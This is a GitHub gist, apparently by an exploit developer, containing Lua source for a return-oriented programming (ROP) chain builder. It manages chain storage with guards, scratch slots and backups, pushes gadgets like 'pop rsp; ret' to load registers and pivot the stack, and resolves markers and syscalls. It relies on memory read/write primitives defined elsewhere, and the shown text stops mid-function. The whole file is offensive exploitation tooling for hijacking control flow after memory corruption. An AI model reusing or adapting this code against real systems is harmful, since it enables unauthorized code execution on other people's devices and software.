Skip to content

Instantly share code, notes, and snippets.

@flatz
Created November 1, 2024 21:53
Show Gist options
  • Save flatz/cbb84539aeee1ade1983ee2eea499dbc to your computer and use it in GitHub Desktop.
Save flatz/cbb84539aeee1ade1983ee2eea499dbc to your computer and use it in GitHub Desktop.
function ensure_ropchain_storage_params(capacity, scratch_size, guard_size, hole_size, num_scratch_slots)
return
type(capacity) == "number" and capacity > 0 and
type(scratch_size) == "number" and scratch_size > 0 and
type(guard_size) == "number" and guard_size > 0 and
type(hole_size) == "number" and hole_size > 0 and
type(num_scratch_slots) == "number" and num_scratch_slots >= 2
end
function determine_ropchain_storage_params(capacity, scratch_size, guard_size, hole_size, num_scratch_slots)
local default_capacity = 1024
local default_scratch_size = 0x4000
local default_guard_size = 0x100
local default_hole_size = 0x100
local default_num_scratch_slots = 2
if capacity ~= nil then
assert(type(capacity) == "number")
assert(capacity > 0)
else
capacity = default_capacity
end
if scratch_size ~= nil then
assert(type(scratch_size) == "number")
assert(scratch_size > 0)
else
scratch_size = default_scratch_size
end
if guard_size ~= nil then
assert(type(guard_size) == "number")
assert(guard_size > 0)
else
guard_size = default_guard_size
end
if hole_size ~= nil then
assert(type(hole_size) == "number")
assert(hole_size > 0)
else
hole_size = default_hole_size
end
if num_scratch_slots ~= nil then
assert(type(num_scratch_slots) == "number")
assert(num_scratch_slots >= 2)
else
num_scratch_slots = default_num_scratch_slots
end
local chain_size = capacity * 0x8
assert(ensure_ropchain_storage_params(capacity, scratch_size, guard_size, hole_size, num_scratch_slots))
return {
-- pre guard scratch area chain post guard hole scratch slots area rax errno jmp buf
storage_size = guard_size + scratch_size + chain_size + guard_size + hole_size + num_scratch_slots * 0x8 + 0x8 + 0x8 + lua_types.sizeof_lua_longjmp,
capacity = capacity,
scratch_size = scratch_size,
chain_size = chain_size,
guard_size = guard_size,
hole_size = hole_size,
num_scratch_slots = num_scratch_slots,
}
end
function make_ropchain_storage(name, capacity, scratch_size, guard_size, hole_size, num_scratch_slots, storage_buf, storage_read_addr, storage_write_addr, storage_size, storage_cleanup_cb)
assert(type(name) == "string")
assert(#name > 0)
if storage_buf ~= nil then
assert(type(storage_buf) == "string")
end
assert(is_uint64(storage_read_addr) and is_uint64(storage_write_addr))
assert(type(storage_size) == "number")
local params = determine_ropchain_storage_params(capacity, scratch_size, guard_size, hole_size, num_scratch_slots)
assert(params ~= nil)
assert(storage_size >= params.storage_size)
storage_read_addr, storage_write_addr = uint64:new(storage_read_addr), uint64:new(storage_write_addr)
local preguard_addr = uint64:new(storage_read_addr)
local scratch_addr = preguard_addr + params.guard_size
local data_addr = scratch_addr + params.scratch_size
local data_w_addr = storage_write_addr + (data_addr - storage_read_addr).lo
local postguard_addr = data_addr + params.chain_size
local hole_addr = postguard_addr + params.guard_size
local scratch_slots_addr = storage_write_addr + (hole_addr - storage_read_addr).lo + params.hole_size
local scratch_rax_addr = scratch_slots_addr + params.num_scratch_slots * 0x8
local scratch_errno_addr = scratch_rax_addr + 0x8
local scratch_size_addr = scratch_errno_addr + 0x8
local jmp_buf_addr = scratch_size_addr + 0x8
local cleanup_cb = function(storage)
--dbgf("cleaning rop storage %s @ %s", storage.name, addr_of(storage))
if type(storage_cleanup_cb) == "function" then
--dbgf("extra cleaning rop storage %s @ %s", storage.name, addr_of(storage))
if not storage_cleanup_cb(storage) then
return false
end
--dbgf("extra cleaning rop storage %s @ %s done", storage.name, addr_of(storage))
end
storage.storage_buf = nil
storage.storage_read_addr = nil
storage.storage_write_addr = nil
storage.preguard_addr = nil
storage.postguard_addr = nil
storage.scratch_addr = nil
storage.hole_addr = nil
storage.data_addr = nil
storage.data_w_addr = nil
storage.scratch_slots_addr = nil
storage.scratch_rax_addr = nil
storage.scratch_errno_addr = nil
storage.scratch_size_addr = nil
storage.jmp_buf_addr = nil
--dbgf("cleaning rop storage %s @ %s done", storage.name, addr_of(storage))
return true
end
local storage = {
name = name,
storage_buf = storage_buf,
storage_read_addr = storage_read_addr,
storage_write_addr = storage_write_addr,
storage_size = params.storage_size,
real_storage_size = storage_size,
capacity = params.capacity,
preguard_addr = preguard_addr,
postguard_addr = postguard_addr,
guard_size = params.guard_size,
scratch_addr = scratch_addr,
scratch_size = params.scratch_size,
hole_addr = hole_addr,
hole_size = params.hole_size,
data_addr = data_addr,
data_w_addr = data_w_addr,
chain_size = params.chain_size,
scratch_slots_addr = scratch_slots_addr,
num_scratch_slots = params.num_scratch_slots,
scratch_rax_addr = scratch_rax_addr,
scratch_errno_addr = scratch_errno_addr,
scratch_size_addr = scratch_size_addr,
jmp_buf_addr = jmp_buf_addr,
cleanup_cb = cleanup_cb,
}
--dbgf("rop storage %s @ %s: %s", storage.name, addr_of(storage), inspect(storage))
return storage
end
function make_ropchain_storage_default(name, capacity, scratch_size, storage_buf, read_addr, write_addr, storage_size, storage_cleanup_cb)
return make_ropchain_storage(name, capacity, scratch_size, nil, nil, nil, storage_buf, read_addr, write_addr, storage_size, storage_cleanup_cb)
end
function make_ropchain_storage_gc_default(name, capacity, scratch_size)
local params = determine_ropchain_storage_params(capacity, scratch_size, nil, nil, nil)
assert(params ~= nil)
local storage_size = params.storage_size
local storage_buf, read_addr = temp_alloc(storage_size)
local write_addr = uint64:new(read_addr)
return make_ropchain_storage_default(name, capacity, scratch_size, storage_buf, read_addr, write_addr, storage_size)
end
ropchain = {}
runner(function()
local marker_signature = "rop_marker:"
local function is_valid_addr(addr)
if is_uint64(addr) then
return true
elseif type(addr) == "string" then
if addr:starts_with(marker_signature) then
return true
else
-- XXX: Do we need to handle null-terminated strings?
return false
end
elseif type(addr) == "number" then
return true
end
return false
end
local function is_direct_value(value)
return is_uint64(value) or type(value) == "number" or type(value) == "string"
end
local function push_regs(rop, rdi, rsi, rdx, rcx, r8, r9, rax)
-- Order is important because some gadgets corrupts other registers.
if r8 ~= nil then
if is_direct_value(r8) then
rop:push_set_r8(r8)
else
-- Indirect value.
assert(type(r8) == "table")
assert(table.len(r8) == 1 and r8[1] ~= nil)
rop:push_load_r8(r8[1])
end
end
if r9 ~= nil then
if is_direct_value(r9) then
rop:push_set_r9(r9)
else
-- Indirect value.
assert(type(r9) == "table")
assert(table.len(r9) == 1 and r9[1] ~= nil)
rop:push_load_r9(r9[1])
end
end
if rdx ~= nil then
if is_direct_value(rdx) then
rop:push_set_rdx(rdx)
else
-- Indirect value.
assert(type(rdx) == "table")
assert(table.len(rdx) == 1 and rdx[1] ~= nil)
rop:push_load_rdx(rdx[1])
end
end
if rcx ~= nil then
if is_direct_value(rcx) then
rop:push_set_rcx(rcx)
else
-- Indirect value.
assert(type(rcx) == "table")
assert(table.len(rcx) == 1 and rcx[1] ~= nil)
rop:push_load_rcx(rcx[1])
end
end
if rsi ~= nil then
if is_direct_value(rsi) then
rop:push_set_rsi(rsi)
else
-- Indirect value.
assert(type(rsi) == "table")
assert(table.len(rsi) == 1 and rsi[1] ~= nil)
rop:push_load_rsi(rsi[1])
end
end
if rdi ~= nil then
if is_direct_value(rdi) then
rop:push_set_rdi(rdi)
else
-- Indirect value.
assert(type(rdi) == "table")
assert(table.len(rdi) == 1 and rdi[1] ~= nil)
rop:push_load_rdi(rdi[1])
end
end
if rax ~= nil then
if is_direct_value(rax) then
if is_uint64(rax) and rax:is_zero() then
rop:push_clear_eax()
elseif type(rax) == "number" and rax == 0 then
rop:push_clear_eax()
else
rop:push_set_rax(rax)
end
else
-- Indirect value.
assert(type(rax) == "table")
assert(table.len(rax) == 1 and rax[1] ~= nil)
rop:push_load_rax(rax[1])
end
end
end
local ropchain_mt = {
__index = ropchain,
__gc = function(self)
self:cleanup()
end,
}
function ropchain:use_marker(name)
assert(type(name) == "string")
return marker_signature .. name
end
function ropchain:new(storage_, need_backup_)
assert(type(storage_) == "table")
assert(storage_.storage_size ~= nil)
local self = {}
local storage = storage_
local backup_buf, backup_addr
local scoped_backups = stack:new()
local need_backup
if need_backup_ ~= nil and need_backup_ then
assert(storage.storage_read_addr ~= storage.storage_write_addr)
backup_buf, backup_addr = temp_alloc(storage.chain_size)
need_backup = true
else
need_backup = false
end
local index = 0
local markers = {}
local marker_names = {}
local placeholders = {}
local need_debug = false
local need_integrity_check = false
local last_errno
function self:cleanup()
local addr = addr_of(self)
if self ~= dbg_rop then
--dbgf("cleaning up rop %s @ %s", storage.name, addr)
end
if need_backup and backup_buf ~= nil then
backup_buf = nil
backup_addr = nil
end
if type(storage.cleanup_cb) == "function" then
if not storage.cleanup_cb(storage) then
warnf("cleaning storage memory failed")
end
storage.cleanup_cb = nil
end
if self ~= dbg_rop then
--dbgf("cleaning up rop %s @ %s done", storage.name, addr)
end
end
function self:backup_addr()
if backup_addr ~= nil then
return uint64:new(backup_addr)
else
return nil
end
end
function self:need_backup()
return need_backup
end
function self:need_debug()
return need_debug
end
function self:toggle_debug(enable)
if enable ~= nil and enable then
need_debug = true
else
need_debug = false
end
end
function self:invalidate_guard()
local buf = string.rep("\x69", storage.guard_size)
memory.write_buffer(storage.preguard_addr, buf)
memory.write_buffer(storage.postguard_addr, buf)
end
function self:need_integrity_check()
return need_integrity_check
end
function self:toggle_integrity_check(enable)
if enable ~= nil and enable then
need_integrity_check = true
else
need_integrity_check = false
end
self:invalidate_guard()
end
function self:set_index(value)
assert(value >= 0 and value < storage.capacity)
index = value
end
function self:index()
return index
end
function self:current_addr()
return storage.data_addr + index * 0x8
end
function self:current_w_addr()
return storage.data_w_addr + index * 0x8
end
function self:relative_addr(count)
if count ~= nil then
assert(type(count) == "number")
if not self:has_space(count) then
errorf("no free space in ropchain (capacity:%d, count:%d, need:%d)", storage.capacity, index, count)
end
return self:current_addr() + count * 0x8
else
return self:current_addr()
end
end
function self:storage_read_addr()
if storage.storage_read_addr ~= nil then
return uint64:new(storage.storage_read_addr)
else
return nil
end
end
function self:storage_write_addr()
if storage.storage_write_addr ~= nil then
return uint64:new(storage.storage_write_addr)
else
return nil
end
end
function self:storage_size()
return storage.storage_size
end
function self:real_storage_size()
return storage.real_storage_size
end
function self:capacity()
return storage.capacity
end
function self:preguard_addr()
if storage.preguard_addr ~= nil then
return uint64:new(storage.preguard_addr)
else
return nil
end
end
function self:postguard_addr()
if storage.postguard_addr ~= nil then
return uint64:new(storage.postguard_addr)
else
return nil
end
end
function self:guard_size()
return storage.guard_size
end
function self:scratch_addr()
if storage.scratch_addr ~= nil then
return uint64:new(storage.scratch_addr)
else
return nil
end
end
function self:scratch_size()
return storage.scratch_size
end
function self:hole_addr()
if storage.hole_addr ~= nil then
return uint64:new(storage.hole_addr)
else
return nil
end
end
function self:hole_size()
return storage.hole_size
end
function self:data_addr()
if storage.data_addr ~= nil then
return uint64:new(storage.data_addr)
else
return nil
end
end
function self:data_w_addr()
if storage.data_w_addr ~= nil then
return uint64:new(storage.data_w_addr)
else
return nil
end
end
function self:chain_size()
return storage.chain_size
end
function self:scratch_slots_addr(slot_id)
if slot_id ~= nil then
assert(type(slot_id) == "number")
assert(slot_id >= 0 and slot_id < storage.num_scratch_slots)
else
slot_id = 0
end
if storage.scratch_slots_addr ~= nil then
return storage.scratch_slots_addr + slot_id * 0x8
else
return nil
end
end
function self:num_scratch_slots()
return storage.num_scratch_slots
end
function self:scratch_rax_addr()
if storage.scratch_rax_addr ~= nil then
return uint64:new(storage.scratch_rax_addr)
else
return nil
end
end
function self:scratch_errno_addr()
if storage.scratch_errno_addr ~= nil then
return uint64:new(storage.scratch_errno_addr)
else
return nil
end
end
function self:scratch_size_addr()
if storage.scratch_size_addr ~= nil then
return uint64:new(storage.scratch_size_addr)
else
return nil
end
end
function self:jmp_buf_addr()
if storage.jmp_buf_addr ~= nil then
return uint64:new(storage.jmp_buf_addr)
else
return nil
end
end
function self:reset(clear_temp, clear_chain)
if clear_temp == nil then
clear_temp = false
end
if clear_chain == nil then
clear_chain = false
end
markers = {}
marker_names = {}
placeholders = {}
if clear_chain then
-- Not really needed and degrades performance very much.
memory.fill32(storage.storage_write_addr, 0, storage.storage_size)
end
if clear_temp then
-- Gives a little performance boost if flag is cleared.
memory.fill32(storage.scratch_slots_addr, 0, storage.num_scratch_tmp_slots * 0x8)
memory.fill32(storage.jmp_buf_addr, 0, lua_types.sizeof_lua_longjmp)
end
memory.write64(storage.scratch_rax_addr, 0)
memory.write64(storage.scratch_errno_addr, 0)
index = 0
end
function self:save_backup(needed_capacity)
if not need_backup then
return false
end
if needed_capacity ~= nil then
assert(type(needed_capacity) == "number")
assert(needed_capacity >= 0 and needed_capacity <= storage.capacity)
else
needed_capacity = storage.capacity
end
assert(backup_addr ~= nil)
local data = memory.read_buffer(storage.data_w_addr, needed_capacity * 0x8)
memory.write_buffer(backup_addr, data)
return true
end
function self:load_backup(needed_capacity)
if not need_backup then
return false
end
if needed_capacity ~= nil then
assert(type(needed_capacity) == "number")
assert(needed_capacity >= 0 and needed_capacity <= storage.capacity)
else
needed_capacity = storage.capacity
end
assert(backup_addr ~= nil)
local data = memory.read_buffer(backup_addr, needed_capacity * 0x8)
memory.write_buffer(storage.data_w_addr, data)
return true
end
function self:push_save_backup(needed_capacity)
if not need_backup then
return false
end
if needed_capacity ~= nil then
assert(type(needed_capacity) == "number")
assert(needed_capacity >= 0 and needed_capacity <= storage.capacity)
else
needed_capacity = storage.capacity
end
assert(backup_addr ~= nil)
local call_addr = self:push_fcall_noret(addrofs.memcpy, backup_addr, storage.data_w_addr, needed_capacity * 0x8)
-- Recover calling address because |push rbp| inside |memcpy| corrupts it.
self:push_set_rax(addrofs.memcpy)
self:push_store_rax(call_addr)
self:push_store_rax(backup_addr + (call_addr - storage.data_w_addr).lo)
return true
end
function self:push_load_backup(needed_capacity)
if not need_backup then
return false
end
if needed_capacity ~= nil then
assert(type(needed_capacity) == "number")
assert(needed_capacity >= 0 and needed_capacity <= storage.capacity)
else
needed_capacity = storage.capacity
end
assert(backup_addr ~= nil)
local call_addr = self:push_fcall_noret(addrofs.memcpy, storage.data_w_addr, backup_addr, needed_capacity * 0x8)
-- Recover calling address because |push rbp| inside |memcpy| corrupts it.
self:push_set_rax(addrofs.memcpy)
self:push_store_rax(call_addr)
return true
end
function self:check_scoped_backups_consistency()
if need_backup then
return true
end
return scoped_backups:is_empty()
end
function self:push_save_scoped_backup()
if not need_backup then
return false
end
assert(backup_addr ~= nil)
local checkpoint_addr = self:current_w_addr()
local offset = (checkpoint_addr - storage.data_w_addr).lo
local marker_for_scope_end = self:generate_marker("scope_end")
local size_addr = storage.scratch_size_addr
local call_addr
self:push_set_rax(self:use_marker(marker_for_scope_end))
self:push_set_rdi(storage.data_addr + offset)
self:push_subtract_rdi_from_rax()
self:push_store_rax(size_addr)
call_addr = self:push_fcall_noret(addrofs.memcpy, backup_addr + offset, checkpoint_addr, { size_addr })
-- Recover calling address because |push rbp| inside |memcpy| corrupts it.
self:push_set_rax(addrofs.memcpy)
self:push_store_rax(call_addr)
self:push_store_rax(backup_addr + (call_addr - storage.data_w_addr).lo)
scoped_backups:push({ checkpoint_addr, marker_for_scope_end })
return true
end
function self:push_load_scoped_backup()
if not need_backup then
return false
end
assert(backup_addr ~= nil)
if scoped_backups:is_empty() then
errorf("no backup scope found")
end
local scope = scoped_backups:pop()
assert(type(scope) == "table" and #scope == 2)
local checkpoint_addr, marker_for_scope_end = scope[1], scope[2]
assert(is_uint64(checkpoint_addr))
assert(type(marker_for_scope_end) == "string" and #marker_for_scope_end > 0)
local offset = (checkpoint_addr - storage.data_w_addr).lo
local size_addr = storage.scratch_size_addr
local call_addr
self:push_set_rax(self:use_marker(marker_for_scope_end))
self:push_set_rdi(storage.data_addr + offset)
self:push_subtract_rdi_from_rax()
self:push_store_rax(size_addr)
call_addr = self:push_fcall_noret(addrofs.memcpy, checkpoint_addr, backup_addr + offset, { size_addr })
-- Recover calling address because |push rbp| inside |memcpy| corrupts it.
self:push_set_rax(addrofs.memcpy)
self:push_store_rax(call_addr)
self:set_marker(marker_for_scope_end)
self:fixup_temp_marker(marker_for_scope_end)
return true
end
function self:check_integrity()
if not need_integrity_check then
return true
end
return run_without_gc(function()
local needed_buf = string.rep("\x69", storage.guard_size)
local real_buf
real_buf = memory.read_buffer(storage.preguard_addr, storage.guard_size)
if real_buf ~= needed_buf then
warnf("preguard check failed")
printf(hexdump(real_buf))
dump_traceback(nil, 5)
return false
end
real_buf = memory.read_buffer(storage.postguard_addr, storage.guard_size)
if real_buf ~= needed_buf then
warnf("postguard check failed")
printf(hexdump(real_buf))
dump_traceback(nil, 5)
return false
end
return true
end)
end
function self:has_space(count)
assert(type(count) == "number")
assert(count >= 0)
return index + count <= storage.capacity
end
function self:skip(count)
if count ~= nil then
assert(type(count) == "number")
else
count = 1
end
if not self:has_space(count) then
errorf("no free space in ropchain (capacity:%d, count:%d, need:%d)", storage.capacity, index, count)
end
local pos = index
index = index + count
return pos
end
function self:set_last_errno(errno)
last_errno = errno
end
function self:get_last_errno()
return last_errno
end
function self:generate_marker(prefix)
if prefix ~= nil then
assert(type(prefix) == "string")
else
prefix = ""
end
-- Need to ensure that we have unique names.
prefix = sprintf("%s_%s", generate_random_string(5), prefix)
local names = {}
for _, name in ipairs(marker_names) do
local pos = name:find(prefix .. "_", 1, true)
if pos ~= nil then
local num = tonumber(name:sub(pos + #prefix + 1), 10)
if num ~= nil then
table.insert(names, name)
end
end
end
local keys = table.sort_keys(names, function(a, b)
a = tonumber(a:sub(2 + #prefix), 10)
b = tonumber(b:sub(2 + #prefix), 10)
return a > b
end)
local index = 0
if table.len(keys) > 0 then
local last_key = keys[1]
index = tonumber(names[last_key]:sub(2 + #prefix), 10) + 1
end
assert(index >= 0)
local key = prefix .. "_" .. index
table.insert(marker_names, key)
return key
end
function self:set_marker(name)
assert(type(name) == "string")
assert(#name > 0)
if markers[name] ~= nil then
errorf("marker already exists: %s", name)
end
local addr = self:current_addr()
markers[name] = addr
--dbgf("setting marker %s: %s", name, addr)
return addr
end
function self:set_marker_placeholder(name, addr)
assert(type(name) == "string")
assert(#name > 0)
if placeholders[name] == nil then
placeholders[name] = {}
end
--dbgf("setting placeholder for marker %s: %s", name, addr)
table.insert(placeholders[name], addr)
end
function self:fixup_temp_marker(name)
assert(type(name) == "string")
assert(#name > 0)
local value = markers[name]
if value == nil then
errorf("marker not found: %s", name)
end
for cur_name, addrs in pairs(placeholders) do
if cur_name == name then
for _, addr in ipairs(addrs) do
--dbgf("fixing placeholder for %s: %s <- %s", name, addr, value)
memory.write64(addr, value)
end
table.remove_by_value(marker_names, name)
placeholders[name] = nil
markers[name] = nil
end
end
end
function self:fixup_markers()
for name, addrs in pairs(placeholders) do
local value = markers[name]
if value == nil then
errorf("marker not found: %s", name)
end
for _, addr in ipairs(addrs) do
--dbgf("fixing placeholder for %s: %s <- %s", name, addr, value)
memory.write64(addr, value)
end
placeholders[name] = nil
end
if table.len(placeholders) > 0 then
logf("markers: %s", inspect(markers))
logf("placeholders: %s", inspect(placeholders))
errorf("marker placeholders are still set")
end
end
function self:dump(...)
local args = { ... }
local str = {}
local addr = self:data_addr()
local w_addr = self:data_w_addr()
local capacity = self:capacity()
local count = self:index()
local has_same_addrs = addr == w_addr
table.insert(str, string.format("ropchain(capacity:%d, count:%d)\n", capacity, count))
local function try_match_addr_within_storage(addr)
if addr >= storage.preguard_addr and addr < (storage.preguard_addr + storage.guard_size) then
return sprintf(" [ preguard(%s) + 0x%x ]", storage.preguard_addr, (addr - storage.preguard_addr).lo)
elseif addr >= storage.postguard_addr and addr < (storage.postguard_addr + storage.guard_size) then
return sprintf(" [ postguard(%s) + 0x%x ]", storage.postguard_addr, (addr - storage.postguard_addr).lo)
elseif addr >= storage.scratch_addr and addr < (storage.scratch_addr + storage.scratch_size) then
return sprintf(" [ scratch(%s) + 0x%x ]", storage.scratch_addr, (addr - storage.scratch_addr).lo)
elseif addr >= storage.hole_addr and addr < (storage.hole_addr + storage.hole_size) then
return sprintf(" [ hole(%s) + 0x%x ]", storage.hole_addr, (addr - storage.hole_addr).lo)
elseif addr >= storage.data_addr and addr < (storage.data_addr + storage.chain_size) then
return sprintf(" [ data(%s) + 0x%x ]", storage.data_addr, (addr - storage.data_addr).lo)
elseif addr >= storage.data_w_addr and addr < (storage.data_w_addr + storage.chain_size) then
return sprintf(" [ data_w(%s) + 0x%x ]", storage.data_w_addr, (addr - storage.data_w_addr).lo)
elseif addr == storage.scratch_rax_addr then
return sprintf(" [ scratch_rax ]", storage.scratch_rax_addr)
elseif addr == storage.scratch_errno_addr then
return sprintf(" [ scratch_errno ]", storage.scratch_errno_addr)
elseif addr == storage.scratch_size_addr then
return sprintf(" [ scratch_size ]", storage.scratch_size_addr)
elseif addr >= storage.scratch_slots_addr and addr < (storage.scratch_slots_addr + storage.num_scratch_slots * 0x8) then
return sprintf(" [ scratch_slots(%s) + 0x%x ]", storage.scratch_slots_addr, (addr - storage.scratch_slots_addr).lo)
elseif addr >= storage.jmp_buf_addr and addr < (storage.jmp_buf_addr + lua_types.sizeof_lua_longjmp) then
return sprintf(" [ jmp_buf(%s) + 0x%x ]", storage.jmp_buf_addr, (addr - storage.jmp_buf_addr).lo)
elseif need_backup and addr >= backup_addr and addr < (backup_addr + storage.chain_size) then
return sprintf(" [ backup(%s) + 0x%x ]", backup_addr, (addr - backup_addr).lo)
end
return nil
end
runner(function()
local tmp = storage.storage_buf
if storage.storage_buf ~= nil then
storage.storage_buf = sprintf("<string:%s>", addr_of(storage.storage_buf))
else
storage.storage_buf = "<nil>"
end
if need_backup then
storage.backup_addr = backup_addr
end
table.insert(str, inspect(storage) .. "\n")
if need_backup then
storage.backup_addr = nil
end
storage.storage_buf = tmp
end)
table.insert(args, addrofs)
table.insert(args, syscalls)
for i = 1, count do
local gadget_addr = memory.read64(addr)
local gadget_addr_str = tostring(gadget_addr)
local gadget_name = ""
if gadget_names[gadget_addr_str] ~= nil then
gadget_name = string.format(" [ %s ]", gadget_names[gadget_addr_str])
else
local found = false
for j, addrs in ipairs(args) do
if type(addrs) == "table" and table.len(addrs) > 0 then
for k, v in pairs(addrs) do
if is_uint64(v) and tostring(v) == gadget_addr_str then
gadget_name = string.format(" [ %s ]", tostring(k))
found = true
break
end
end
end
if found then
break
end
local match = try_match_addr_within_storage(gadget_addr)
if match ~= nil then
gadget_name = match
break
end
end
end
if has_same_addrs then
table.insert(str, string.format(" %s: %s%s\n", addr, gadget_addr, gadget_name))
else
table.insert(str, string.format(" r:%s w:%s: %s%s\n", addr, w_addr, gadget_addr, gadget_name))
w_addr = w_addr + 0x8
end
addr = addr + 0x8
end
return table.concat(str)
end
--dbgf("allocated rop %s @ %s", storage.name, addr_of(self))
return setmetatable(self, ropchain_mt)
end
local function get_syscall_params(name)
local addr, rax
if type(name) == "string" then
addr = resolve_syscall(temp_rop, name, true)
if addr == nil then
errorf("no such syscall: %s", name)
end
else
assert(type(name) == "number")
addr = addrofs.syscall
rax = name
end
return addr, rax
end
function ropchain:ensure_align(alignment)
if alignment ~= nil then
assert(type(alignment) == "number")
assert(alignment > 0)
else
-- Align by 16 bytes if nothing is specified.
alignment = 0x10
end
local rsp_lo = self:current_addr().lo
if alignment == 0x10 then
-- Fast path.
if bit32.band(rsp_lo, alignment - 1) ~= 0 then
self:push_ret()
end
else
local aligned_rsp_lo = bit32.round_pow2(rsp_lo, alignment) - rsp_lo
local count = math.floor(aligned_rsp_lo / 8)
for i = 1, count do
self:push_ret()
end
end
end
function ropchain:push(value)
assert(value ~= nil)
if type(value) == "function" then
-- Delayed value to use with |set_marker| in |push|, for example.
value = value()
assert(value ~= nil)
end
self:skip()
local addr = self:data_w_addr() + (self:index() - 1) * 0x8
if type(value) == "string" then
-- Handle case where string is marker that acts as placeholder for further value.
if value:starts_with(marker_signature) then
local name = value:sub(1 + #marker_signature)
self:set_marker_placeholder(name, addr)
memory.write64(addr, uint64:new(0xcccccccc, 0xcccccccc))
else
-- Special handling of null-terminated string where we put its pointer instead.
memory.write64(addr, value:data_addr())
end
else
value = uint64:new(value)
memory.write64(addr, value)
end
return addr
end
function ropchain:push_set_rdi(value)
self:push(gadgets["pop rdi; ret"])
self:push(value)
end
function ropchain:push_set_rsi(value)
self:push(gadgets["pop rsi; ret"])
self:push(value)
end
function ropchain:push_set_rax(value)
self:push(gadgets["pop rax; ret"])
self:push(value)
end
function ropchain:push_set_rbx(value)
self:push(gadgets["pop rbx; ret"])
self:push(value)
end
function ropchain:push_set_rcx(value)
self:push(gadgets["pop rcx; ret"])
self:push(value)
end
function ropchain:push_set_rdx(value)
self:push(gadgets["pop rdx; ret"])
self:push(value)
end
function ropchain:push_set_r8(value)
self:push(gadgets["pop r8; ret"])
self:push(value)
end
function ropchain:push_set_r9(value) -- Changes |rax|, |rdi|, |rcx|.
self:push_set_rdi(self:scratch_slots_addr())
self:push_set_rcx(value)
self:push(gadgets["xor r9d, r9d; mov eax, r9d; ret"])
self:push(gadgets["add r9, rcx; mov qword ptr [rdi], r9; mov dword ptr [rdi+0x8], eax; ret"])
end
function ropchain:push_set_r10(value)
self:push(gadgets["pop r10; ret"])
self:push(value)
end
function ropchain:push_set_r11(value)
errorf("setting r11 not implemented")
end
function ropchain:push_set_r12(value)
self:push(gadgets["pop r12; ret"])
self:push(value)
end
function ropchain:push_set_r13(value)
self:push(gadgets["pop r13; ret"])
self:push(value)
end
function ropchain:push_set_r14(value)
self:push(gadgets["pop r14; ret"])
self:push(value)
end
function ropchain:push_set_r15(value)
self:push(gadgets["pop r15; ret"])
self:push(value)
end
function ropchain:push_set_rbp(value)
self:push(gadgets["pop rbp; ret"])
self:push(value)
end
function ropchain:push_set_rsp(value)
self:push(gadgets["pop rsp; ret"])
self:push(value)
end
function ropchain:push_load_eax_from_rax()
self:push(gadgets["mov eax, dword ptr [rax]; ret"])
end
function ropchain:push_load_rax_from_rax()
self:push(gadgets["mov rax, qword ptr [rax]; ret"])
end
function ropchain:push_load_eax(addr)
assert(is_valid_addr(addr))
self:push_set_rax(addr)
self:push_load_eax_from_rax()
end
function ropchain:push_load_rdi(addr) -- Changes |rax|.
assert(is_valid_addr(addr))
local marker_for_value_addr = self:generate_marker("value_addr")
self:push_load_rax(addr)
self:push_store_rax(self:use_marker(marker_for_value_addr))
self:push(gadgets["pop rdi; ret"])
self:push(self:set_marker(marker_for_value_addr))
self:fixup_temp_marker(marker_for_value_addr)
end
function ropchain:push_load_rsi(addr) -- Changes |rax|.
assert(is_valid_addr(addr))
local marker_for_value_addr = self:generate_marker("value_addr")
self:push_load_rax(addr)
self:push_store_rax(self:use_marker(marker_for_value_addr))
self:push(gadgets["pop rsi; ret"])
self:push(self:set_marker(marker_for_value_addr))
self:fixup_temp_marker(marker_for_value_addr)
end
function ropchain:push_load_rax(addr)
assert(is_valid_addr(addr))
self:push_set_rax(addr)
self:push_load_rax_from_rax()
end
function ropchain:push_load_rbx(addr) -- Changes |rax|.
assert(is_valid_addr(addr))
local marker_for_value_addr = self:generate_marker("value_addr")
self:push_load_rax(addr)
self:push_store_rax(self:use_marker(marker_for_value_addr))
self:push(gadgets["pop rbx; ret"])
self:push(self:set_marker(marker_for_value_addr))
self:fixup_temp_marker(marker_for_value_addr)
end
function ropchain:push_load_rcx(addr) -- Changes |rax|.
assert(is_valid_addr(addr))
local marker_for_value_addr = self:generate_marker("value_addr")
self:push_load_rax(addr)
self:push_store_rax(self:use_marker(marker_for_value_addr))
self:push(gadgets["pop rcx; ret"])
self:push(self:set_marker(marker_for_value_addr))
self:fixup_temp_marker(marker_for_value_addr)
end
function ropchain:push_load_rdx(addr) -- Changes |rax|.
assert(is_valid_addr(addr))
local marker_for_value_addr = self:generate_marker("value_addr")
self:push_load_rax(addr)
self:push_store_rax(self:use_marker(marker_for_value_addr))
self:push(gadgets["pop rdx; ret"])
self:push(self:set_marker(marker_for_value_addr))
self:fixup_temp_marker(marker_for_value_addr)
end
function ropchain:push_load_r8(addr) -- Changes |rax|.
assert(is_valid_addr(addr))
local marker_for_value_addr = self:generate_marker("value_addr")
self:push_load_rax(addr)
self:push_store_rax(self:use_marker(marker_for_value_addr))
self:push(gadgets["pop r8; ret"])
self:push(self:set_marker(marker_for_value_addr))
self:fixup_temp_marker(marker_for_value_addr)
end
function ropchain:push_load_r9(addr) -- Changes |rax|.
assert(is_valid_addr(addr))
local marker_for_value_addr = self:generate_marker("value_addr")
self:push_load_rax(addr)
self:push_store_rax(self:use_marker(marker_for_value_addr))
self:push(gadgets["pop r9; ret"])
self:push(self:set_marker(marker_for_value_addr))
self:fixup_temp_marker(marker_for_value_addr)
end
function ropchain:push_load_rbp(addr) -- Changes |rax|.
assert(is_valid_addr(addr))
local marker_for_value_addr = self:generate_marker("value_addr")
self:push_load_rax(addr)
self:push_store_rax(self:use_marker(marker_for_value_addr))
self:push(gadgets["pop rbp; ret"])
self:push(self:set_marker(marker_for_value_addr))
self:fixup_temp_marker(marker_for_value_addr)
end
function ropchain:push_load_rsp(addr) -- Changes |rax|.
assert(is_valid_addr(addr))
local marker_for_value_addr = self:generate_marker("value_addr")
self:push_load_rax(addr)
self:push_store_rax(self:use_marker(marker_for_value_addr))
self:push(gadgets["pop rsp; ret"])
self:push(self:set_marker(marker_for_value_addr))
self:fixup_temp_marker(marker_for_value_addr)
end
function ropchain:push_load_rsp_set_rax(addr, rax)
assert(is_valid_addr(addr))
local marker_for_value_addr = self:generate_marker("value_addr")
self:push_load_rax(addr)
self:push_store_rax(self:use_marker(marker_for_value_addr))
if is_uint64(rax) or type(rax) == "number" then
self:push_set_rax(rax)
else
-- Indirect value.
assert(type(rax) == "table")
assert(table.len(rax) == 1 and rax[1] ~= nil)
self:push_load_rax(rax[1])
end
self:push(gadgets["pop rsp; ret"])
self:push(self:set_marker(marker_for_value_addr))
self:fixup_temp_marker(marker_for_value_addr)
